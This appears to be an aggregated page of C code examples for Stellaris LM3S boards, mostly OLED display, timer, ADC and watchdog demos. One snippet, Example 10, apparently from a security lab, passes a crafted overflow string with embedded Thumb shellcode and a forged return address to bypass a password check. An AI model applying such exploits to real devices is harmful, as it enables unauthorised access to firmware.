Exemplo n.º 1
0
void main () {
	 SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | 
	                SYSCTL_XTAL_8MHZ);

	// NOTE: actual clock speed is pll / 2/ div = 400M / 2/ 10
//	SysCtlClockSet(SYSCTL_SYSDIV_10 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); 

 initializeGlobalData(); // initialize global data
#if DEBUG
 RIT128x96x4Init(1000000);
#endif

#if DEBUG
	char num[30];
	usnprintf(num, 30, "begin CommandTest");
	RIT128x96x4StringDraw(num, 0, 0, 15);
#endif

	strncpy(global.commandStr, "M A", COMMAND_LENGTH - 1);	// this is the test command

	commandTask.runTaskFunction(commandTask.taskDataPtr);
	
#if DEBUG
	usnprintf(num, 30, global.responseStr);
	RIT128x96x4StringDraw(num, 0, 70, 7);
	usnprintf(num, 30, "done %d %d", global.measurementSelection, global.responseReady);
	RIT128x96x4StringDraw(num, 0, 80, 15);
#endif
}
Exemplo n.º 2
0
Arquivo: main.c Projeto: mybays/lm3s
void ADC0IntHandler()
{

    unsigned long adc0Value;   // Holds the ADC result
    char adc0String[5];        // Holds the string-converted ADC result

    // 清ADC0中断标志.
    // ADCIntClear (unsigned long ulBase, unsigned long ulSequenceNum) 
    ADCIntClear(ADC0_BASE, 0);
    
    //从SSO读出转换结果 (FIFO0),本例中只有一个采样.如果要使用多个转换源,需要使用数组做为参数传递给API函数,保存FIFO转换结果.
    // long ADCSequenceDataGet (unsigned long ulBase,unsigned long ulSequenceNum,unsigned long *pulBuffer) 
    ADCSequenceDataGet(ADC0_BASE, 0, &adc0Value);
    adc0Value= ((59960 - (adc0Value * 100)) / 356);
    
    
    // 在OLED上显示当前温度
    usprintf(adc0String, "%d", adc0Value);    
    IntMasterDisable();
    RIT128x96x4StringDraw("Current temp :         ", 6, 48, 15);
    RIT128x96x4StringDraw(adc0String, 94, 48, 15);
    IntMasterEnable();  

    // ADC模块空闲,可以进行下一次转换
    adc_busy=0;    
 
}
Exemplo n.º 3
0
void getData(int* valuePtr)
{
    //  declare a temp place to store the data
    // int tempValue;
    static int i = 0;
    
    char myData[2];

    //  let valuePtr point to it
    // valuePtr = &tempValue;
 
    //  get the data
    *valuePtr = i;
     
     myData[0] = i + '0';        //  convert the int i to ascii
     myData[1] = '\0';           //  terminate the string

    //  display its value as a character 
     
    RIT128x96x4StringDraw("getData data is: \n", 15, 24, 15);     
    
    RIT128x96x4StringDraw(myData, 15, 34, 15);
        
    delay(1000);                //  delay so we can read the display
    
    i = (i+1) % 8;

    // return;

}
//*****************************************************************************
// Function to display the displays the current height (mili Volts), reference
// height (mili Volts) and the current height as a percentage.
//*****************************************************************************
void displayInfo(int height, int degrees, int main, int tail)
{
	char string[40];

	sprintf(string, "main: %3d ", main);
	RIT128x96x4StringDraw(string, 5, 14, 15);
	sprintf(string, "tail: %3d ", tail);
	RIT128x96x4StringDraw(string, 5, 24, 15);


	sprintf(string, "Hgt. (%%) = %d%%    ", height);
	RIT128x96x4StringDraw(string, 5, 64, 15);

	sprintf (string, "yaw: %5d", yaw);
	RIT128x96x4StringDraw (string, 5, 74, 15);
	sprintf (string, "Deg = %4d", degrees);
	RIT128x96x4StringDraw (string, 5, 84, 15);

	if ((g_ulSampCnt % 25) == 0){
		sprintf(string, " Main: %d Tail: %d\n----------\n", main_duty, tail_duty);
		UARTSend (string);
		sprintf(string, " Alt (%%): %d [%d] {%d}\n----------\n", desiredHeight, height, altError);
		UARTSend (string);
		sprintf(string, " Yaw: %d [%d] {%d}\n----------\n",desiredYaw, degrees, yawError);
		UARTSend (string);
		sprintf(string, " State: %d\n----------\n", state);
		UARTSend (string);
	}
}
Exemplo n.º 5
0
// Prints to the OLED display the necessary string for the menu where the ADC distance values are being displayed
void printADCString() {
  RIT128x96x4StringDraw("ADC 0:\0", 30, 24, 15);
  RIT128x96x4StringDraw("ADC 1:\0", 30, 34, 15);
  RIT128x96x4StringDraw("ADC 2:\0", 30, 44, 15);
  RIT128x96x4StringDraw("ADC 3:\0", 30, 54, 15);
  RIT128x96x4StringDraw("Press SEL to exit\0", 15, 74, 15);
}
//*****************************************************************************
//
// Display the interrupt state on the OLED.  The currently active and pending
// interrupts are displayed.
//
//*****************************************************************************
void
DisplayIntStatus(void)
{
    unsigned long ulTemp;
    char pcBuffer[4];

    //
    // Display the currently active interrupts.
    //
    ulTemp = HWREG(NVIC_ACTIVE0);
    pcBuffer[0] = (ulTemp & 1) ? '1' : ' ';
    pcBuffer[1] = (ulTemp & 2) ? '2' : ' ';
    pcBuffer[2] = (ulTemp & 4) ? '3' : ' ';
    pcBuffer[3] = '\0';
    RIT128x96x4StringDraw(pcBuffer, 42, 40, 15);

    //
    // Display the currently pending interrupts.
    //
    ulTemp = HWREG(NVIC_PEND0);
    pcBuffer[0] = (ulTemp & 1) ? '1' : ' ';
    pcBuffer[1] = (ulTemp & 2) ? '2' : ' ';
    pcBuffer[2] = (ulTemp & 4) ? '3' : ' ';
    RIT128x96x4StringDraw(pcBuffer, 96, 40, 15);
}
Exemplo n.º 7
0
//*****************************************************************************
//
// Exchange data between two functions
//
//*****************************************************************************
int
main(void)
{
    //
    // Set the clocking to run directly from the crystal.
    //
    SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN |
                   SYSCTL_XTAL_8MHZ);

    //
    // Initialize the OLED display.
    //
    RIT128x96x4Init(1000000);
    
    //  declare a shared variable and a pointer to it
    int myValue = 0;
    int* myPtr = &myValue;      //  let myPtr point to myValue
    
    char myData[2];		//  declare a character array
    

    while(TRUE)
    {
      getData(myPtr);
      
      myData[0] = *myPtr+'0';
      
      myData[1] = '\0';           //  terminate the string
        
      RIT128x96x4StringDraw("Data returned: \n", 15, 44, 15);              
      RIT128x96x4StringDraw(myData, 15, 54, 15);
        
      delay(1000);                //  delay so we can read the display
    }
}
Exemplo n.º 8
0
int main()
{
	// Set the clocking to run directly from the crystal.
	SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ);

	//Initialize peripherals
	InitializeDisplay();
	InitializeTimers();
	InitializeADC();
	InitializeInterrupts();

	//Main program loop
	unsigned long avgADCValue = 0;
	while(1)
	{
		if(BufOneReadyToRead)
		{
			avgADCValue = GetAvgOfBuf(1);
			usnprintf(str, 25, "Buf1: %5u", avgADCValue);
			RIT128x96x4StringDraw(str, 0, 0, 15);
			BufOneReadyToRead = 0;
		}
		else if(BufTwoReadyToRead)
		{
			avgADCValue = GetAvgOfBuf(2);
			usnprintf(str, 25, "Buf2: %5u", avgADCValue);
			RIT128x96x4StringDraw(str, 0, 10, 15);
			BufTwoReadyToRead = 0;
		}
	}
}
//*****************************************************************************
//
//	Initializes the hardware's system clock and the SysTick Interrupt
//
//*****************************************************************************
void SysTickInit() {
    //
    // Set the clocking to run directly from the crystal.
    //
    SysCtlClockSet(SYSCTL_SYSDIV_4 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ);

	//
	// Get the system clock speed.
	//
	systemClock = SysCtlClockGet();

    //
    // Configure SysTick interrupts
    //
    SysTickPeriodSet(systemClock / SYSTICK_FREQUENCY);
    SysTickIntEnable();
    SysTickEnable();
	
    //
	// 	Code to cause a wait for a "Select Button" press
    //
	SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOG);
	GPIOPinTypeGPIOInput(GPIO_PORTG_BASE, GPIO_PIN_7);
	RIT128x96x4Init(1000000);
	RIT128x96x4StringDraw("Press \"Select\" Button", 0, 24, 15);
	RIT128x96x4StringDraw("To Continue", 32, 32, 15);
	while(GPIOPinRead(GPIO_PORTG_BASE, GPIO_PIN_7));
	SysCtlPeripheralDisable(SYSCTL_PERIPH_GPIOG);
	SysCtlPeripheralReset(SYSCTL_PERIPH_GPIOG);

}
Exemplo n.º 10
0
void main(void)
{
     // Set the clocking to run directly from the crystal.
     SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN |
     SYSCTL_XTAL_8MHZ);
     RIT128x96x4Init(1000000); // Initialize the OLED display.
     // Replace 'Harold' and 6 with exploit string and its 
     // length
     printUserWelcome("\0\0\0" // Front padding
                      "\x4f\xf0\x01\x06"    // mov.w   r6, #1
                      "\x02\x96"            // str     r6, [sp, #8]
                      "\x40\xf2\x93\x1e"    // movw    lr, #403
                      "\x70\x47"            // bx      lr
                      "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"  // End padding
                      "\xD1\x00\x00\x20", 43); // Place 0x200000D1 in the link register instead
     if (gPasswordEntered)
     {
         RIT128x96x4StringDraw("Success!", 32, 24, 15);
     }
     else
     {
         RIT128x96x4StringDraw("Failure!", 32, 24, 15);
     }
     while (1);
}
Exemplo n.º 11
0
// Prints to the OLED display the necessary string for the menu where the ADC distance values are being displayed
void chooseSpeed() {
  RIT128x96x4StringDraw("Choose a speed\0", 27, 0, 15);
  RIT128x96x4StringDraw("Press up for 1\0", 27, 20, 15);
  RIT128x96x4StringDraw("Press down for 2\0", 22, 34, 15);
  RIT128x96x4StringDraw("1. Faster\0", 40, 54, 15);
  RIT128x96x4StringDraw("2. Slower\0", 40, 64, 15);

}
Exemplo n.º 12
0
static void initMain(void){
	// Method for displaying the screen for the main menu
	drawLogo();
	RIT128x96x4StringDraw("Classic", 10, 50, 15);
	RIT128x96x4StringDraw("Continuous", 10, 60, 15);
	RIT128x96x4StringDraw("Instructions", 10, 70, 15);
	RIT128x96x4StringDraw("High Scores", 10, 80, 15);
	drawPointer(50);
}
Exemplo n.º 13
0
//*****************************************************************************
//
// This example application demonstrates the use of the timers to generate
// periodic interrupts.
//
//*****************************************************************************
int
main(void)
{
    //
    // Set the clocking to run directly from the crystal.
    //
    SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN |
                   SYSCTL_XTAL_8MHZ);

    //
    // Initialize the OLED display and write status.
    //
    RIT128x96x4Init(1000000);
    RIT128x96x4StringDraw("Timers example", 18, 24, 15);
    RIT128x96x4StringDraw("T1: 0  T2: 0", 24, 32, 15);

    //
    // Enable the peripherals used by this example.
    //
    SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER0);
    SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER1);

    //
    // Enable processor interrupts.
    //
    IntMasterEnable();

    //
    // Configure the two 32-bit periodic timers.
    //
    TimerConfigure(TIMER0_BASE, TIMER_CFG_PERIODIC);
    TimerConfigure(TIMER1_BASE, TIMER_CFG_PERIODIC);
    TimerLoadSet(TIMER0_BASE, TIMER_A, SysCtlClockGet());
    TimerLoadSet(TIMER1_BASE, TIMER_A, SysCtlClockGet() / 2);

    //
    // Setup the interrupts for the timer timeouts.
    //
    IntEnable(INT_TIMER0A);
    IntEnable(INT_TIMER1A);
    TimerIntEnable(TIMER0_BASE, TIMER_TIMA_TIMEOUT);
    TimerIntEnable(TIMER1_BASE, TIMER_TIMA_TIMEOUT);

    //
    // Enable the timers.
    //
    TimerEnable(TIMER0_BASE, TIMER_A);
    TimerEnable(TIMER1_BASE, TIMER_A);

    //
    // Loop forever while the timers run.
    //
    while(1)
    {
    }
}
Exemplo n.º 14
0
void rit_p14201_out(char const* s)
{
    rit_add_lines(s);

    for (int i = 0; i < RIT_ROW; ++i)
    {
        RIT128x96x4StringDraw(g_rit_empty_line, 2, i * 8, 0);
        RIT128x96x4StringDraw(g_rit_buf[i], 2, i * 8, RIT_BRIGHTNESS);
    }
}
Exemplo n.º 15
0
static void displayScores(void){
	// Method for displaying high scores
	RIT128x96x4StringDraw("High Scores", 40, 0, 15);
	static char s1[24];
	usprintf(s1, "Classic Mode: %d", classic);
	RIT128x96x4StringDraw(s1, 0, 40, 15);
	static char s2[24];
	usprintf(s2, "Continuous Mode: %d", continuous);
	RIT128x96x4StringDraw(s2, 0, 60, 15);
}
Exemplo n.º 16
0
static void DisplayTimeA(void){
	// Method for displaying the alarm based on the counters
	static char pcTime[10];
	if (aampm==0){
		usprintf(pcTime, "%d%d:%d%d AM", ah2, ah1, am2, am1);
	}
	else {
		usprintf(pcTime, "%d%d:%d%d PM", ah2, ah1, am2, am1);
	}
	RIT128x96x4StringDraw(pcTime, 40, 40, 15);
	if (alarmSet){
		RIT128x96x4StringDraw("Alarm ON", 40, 80, 15);
	}
}
//*****************************************************************************
//
//	Task to output Initial screen.
//
//*****************************************************************************
void PrintInit(){
    //
	// 	Code to cause a wait for a "Select Button" press
    //
	SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOG);
	GPIOPinTypeGPIOInput(GPIO_PORTG_BASE, GPIO_PIN_7);
    GPIOPadConfigSet(GPIO_PORTG_BASE, GPIO_PIN_7, GPIO_STRENGTH_2MA, GPIO_PIN_TYPE_STD_WPU);
	RIT128x96x4Init(1000000);
	RIT128x96x4StringDraw("FreeRTOS starting\n", 8, 0, 15);
	RIT128x96x4StringDraw("Press \"Select\" Button", 0, 24, 15);
	RIT128x96x4StringDraw("To Continue", 32, 32, 15);
	while(GPIOPinRead(GPIO_PORTG_BASE, GPIO_PIN_7));
	SysCtlPeripheralReset(SYSCTL_PERIPH_GPIOG);
	SysCtlPeripheralDisable(SYSCTL_PERIPH_GPIOG);
}
Exemplo n.º 18
0
//*****************************************************************************
//
// Print "Hello world!" to the OLED on the Stellaris evaluation board.
//
//*****************************************************************************
int
main(void)
{
    //
    // Set the clocking to run directly from the crystal.
    //
    SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN |
                   SYSCTL_XTAL_8MHZ);

    //
    // Initialize the OLED display.
    //
    RIT128x96x4Init(1000000);

    //
    // Hello!
    //
    RIT128x96x4StringDraw("Hello World!", 30, 24, 15);

    //
    // Finished.
    //
    while(1)
    {
    }
}
Exemplo n.º 19
0
void OLEDExec(){
	if(sysTickCount >= timeToExec) {
		/*
		*  Save the tick count into a string (character array)
		*  The length is 32 because each character is 8x8 pixels,
		*  		and since the OLED screen is 128 pixels wide
		*  		32 (128 / 8) is the number of characters that will
		*  		successfully fit on a single line of the OLED screen.
		*/
		char sysTickStr[32];

		// sprintf is a standard C function that builds strings from other arguments
		sprintf(sysTickStr, "SysTick: %d", sysTickCount);

		//  Draw the string on the OLED display
	    RIT128x96x4StringDraw(sysTickStr, 8, 33, 15);

        //	Advance next execution time
	    timeToExec += delay;




	}
}
Exemplo n.º 20
0
//*****************************************************************************
//
// Flash "A B C D" to the board.
//
//*****************************************************************************
int
main(void)
{
  
    unsigned long flashDelay = 8000;   // Delay between flashes
    char *characters = "ABCD";         // Characters to flash
    
    // Set the clocking to run directly from the crystal.
    SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN |
                   SYSCTL_XTAL_8MHZ);

    // Initialize display
    RIT128x96x4Init(OLED_CLK);
    
    // Flash the letters ABCD
    unsigned int xVal = 15;
    unsigned int yVal = 15;
    while(TRUE)
    {
      RIT128x96x4StringDraw(characters, xVal, yVal, 15);
      delay(flashDelay);
      RIT128x96x4Clear();
      delay(flashDelay);
    }

}
void TickDisplayExecute()
{
	if(sysTickCount >= tickDisplayNext)
	{
		char count_string[24];
		//
		//  Save the tick count into a string
		//
		sprintf(count_string, "Chinmay: %d", sysTickCount);

		/*
		 * ****************** EDITS ************************
		 * Changed the display text from "Blinky:" to my
		 * first name, "Chinmay:"
		 * */

		//
		//  Draw the tick count string on the OLED display
		//
	    RIT128x96x4StringDraw(count_string, 16, 0, 15);

        //
        //	Advance next execution time
        //
	    tickDisplayNext += tickDisplayDelta;
	}
}
Exemplo n.º 22
0
//The OLED Task definition
//This is set up like the other taskScheduler tasks, with a while loop and a vDelay
//dictating the control flow and execution frequency
void OLEDTask(void *pvParameters){
	unsigned long queueVal = 0;
	while(true) {
		RIT128x96x4StringDraw("Motor Control", 16, 42, 15);
		char sysTickStr[32];
		sprintf(sysTickStr, "SysTick: %d", sysTickCount);
		RIT128x96x4StringDraw(sysTickStr, 16, 51, 15);
		if(xQueueReceive(feedBack, (void*) &queueVal, 0)){
			char adc[32];
			RIT128x96x4StringDraw("                         ", 16, 60, 15);
			sprintf(adc, "ADCVAL: %d", queueVal);
			RIT128x96x4StringDraw(adc, 16, 60, 15);
		}
		vTaskDelay(ONE_MS * 200);
	}
}
Exemplo n.º 23
0
//*****************************************************************************
//
//! Displays an integer on the OLED display.
//!
//! \param num is the integer to display.
//! \param ulX is the horizontal position to display the string, specified in
//! columns from the left edge of the display.
//! \param ulY is the vertical position to display the string, specified in
//! rows from the top edge of the display.
//! \param ucLevel is the 4-bit gray scale value to be used for displayed text.
//!
//! This function will display the number on the display.  
//! The num should be between 0 and 999
//!
//! If the drawing of the string reaches the right edge of the display, no more
//! characters will be drawn.  Therefore, special care is not required to avoid
//! supplying a string that is ``too long'' to display.
//!
//! \note Because the OLED display packs 2 pixels of data in a single byte, the
//! parameter \e ulX must be an even column number (for example, 0, 2, 4, and
//! so on).
//!
//! \return None.
//
//*****************************************************************************
void
RIT128x96x4UDecOut3(unsigned long num, unsigned long ulX,
                      unsigned long ulY, unsigned char ucLevel)  {
char string[10];
  UInt2Str3(num, string);
  RIT128x96x4StringDraw(string, ulX, ulY, ucLevel);
}
Exemplo n.º 24
0
Arquivo: console.c Projeto: ag81/libs
void refreshConsole(void)
{
  int y;

  for(y=0;y<MAX_LINES;y++)							  
	  RIT128x96x4StringDraw(ac_consoleImage[y], 0, y*LINE_HEIGHT, 15);
}
Exemplo n.º 25
0
//*****************************************************************************
//
// This example demonstrates the use of the watchdog timer.
//
//*****************************************************************************
int
main(void)
{
    //
    // Set the clocking to run directly from the crystal.
    //
    SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN |
                   SYSCTL_XTAL_8MHZ);

    //
    // Initialize the OLED display and write status.
    //
    RIT128x96x4Init(1000000);
    RIT128x96x4StringDraw("Watchdog example", 12, 24, 15);

    //
    // Enable the peripherals used by this example.
    //
    SysCtlPeripheralEnable(SYSCTL_PERIPH_WDOG0);
    SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOG);

    //
    // Enable processor interrupts.
    //
    IntMasterEnable();

    //
    // Set GPIO G2 as an output.  This drives an LED on the board that will
    // toggle when a watchdog interrupt is processed.
    //
    GPIOPinTypeGPIOOutput(GPIO_PORTG_BASE, GPIO_PIN_2);
    GPIOPinWrite(GPIO_PORTG_BASE, GPIO_PIN_2, 0);

    //
    // Enable the watchdog interrupt.
    //
    IntEnable(INT_WATCHDOG);

    //
    // Set the period of the watchdog timer.
    //
    WatchdogReloadSet(WATCHDOG0_BASE, SysCtlClockGet());

    //
    // Enable reset generation from the watchdog timer.
    //
    WatchdogResetEnable(WATCHDOG0_BASE);

    //
    // Enable the watchdog timer.
    //
    WatchdogEnable(WATCHDOG0_BASE);

    //
    // Loop forever while the LED winks as watchdog interrupts are handled.
    //
    while(1)
    {
    }
}
Exemplo n.º 26
0
//Print at x,y with full brightness
void oled_d_print_xy(char *str, unsigned long x, unsigned long y)
{
	IntMasterDisable();

	RIT128x96x4StringDraw(str, x, y, MAX_BRIGHTNESS);

	IntMasterEnable();
}
Exemplo n.º 27
0
//displays Accel values
displayAccel()
{
	unsigned char Xdata, Ydata, Zdata;
	char str[10];
		Xdata = signedByteAccelRead(0x06);
		sprintf(str, "%hhd   ", Xdata);
		RIT128x96x4StringDraw(str, 0, 17, 15);
		Ydata = signedByteAccelRead(0x07);
		sprintf(str, "%hhd   ", Ydata);
		RIT128x96x4StringDraw(str, 0, 25, 15);
		Zdata = signedByteAccelRead(0x08);
		sprintf(str, "%hhd   ", Zdata);
		RIT128x96x4StringDraw(str, 0, 33, 15);

		SysCtlDelay((SysCtlClockGet() / 3) /10);

}
Exemplo n.º 28
0
//Print at 0,0 with full brightness
void oled_d_print_origin(char *str)
{
	IntMasterDisable();

	RIT128x96x4StringDraw(str, 0, 0, MAX_BRIGHTNESS);

	IntMasterEnable();
}
Exemplo n.º 29
0
//Print at x,y with given brightness
void oled_d_print_xyb(char *str, unsigned long x, unsigned long y, unsigned long b)
{
	IntMasterDisable();

	RIT128x96x4StringDraw(str, x, y, b);

	IntMasterEnable();
}
Exemplo n.º 30
0
int main(void) {
	volatile unsigned long ulLoop;

	SysCtlClockSet(
			SYSCTL_SYSDIV_4 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN
					| SYSCTL_XTAL_8MHZ);

	SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOF);

	for (ulLoop = 0; ulLoop < 2000; ulLoop++) {
	}

	//
	// Enable the GPIO pin for the LED (PF0).  Set the direction as output, and
	// enable the GPIO pin for digital function.
	//

	GPIODirModeSet(GPIO_PORTF_BASE, GPIO_PIN_0, GPIO_DIR_MODE_OUT);
	GPIOPadConfigSet(GPIO_PORTF_BASE, GPIO_PIN_0, GPIO_STRENGTH_2MA,
			GPIO_PIN_TYPE_STD);
	GPIOPinWrite(GPIO_PORTF_BASE, GPIO_PIN_0, 1);

	// Start the OLED display and write a message on it

	RIT128x96x4Init(ulSSI_FREQUENCY);
	RIT128x96x4StringDraw("Hello Out there :)", 0, 0, mainFULL_SCALE);

	//
	// Loop forever.
	//
	while (1) {
		//
		// Turn on the LED.
		//
		GPIOPinWrite(GPIO_PORTF_BASE, GPIO_PIN_0, GPIO_PIN_0);
		// GPIO_PORTF_DATA_R |= 0x01;

		//
		// Delay for a bit.
		//
		for (ulLoop = 0; ulLoop < 200000; ulLoop++) {
		}

		//
		// Turn off the LED.
		//
		GPIOPinWrite(GPIO_PORTF_BASE, GPIO_PIN_0, 0);

		//
		// Delay for a bit.
		//
		for (ulLoop = 0; ulLoop < 200000; ulLoop++) {
		}
	}

	return 0;
}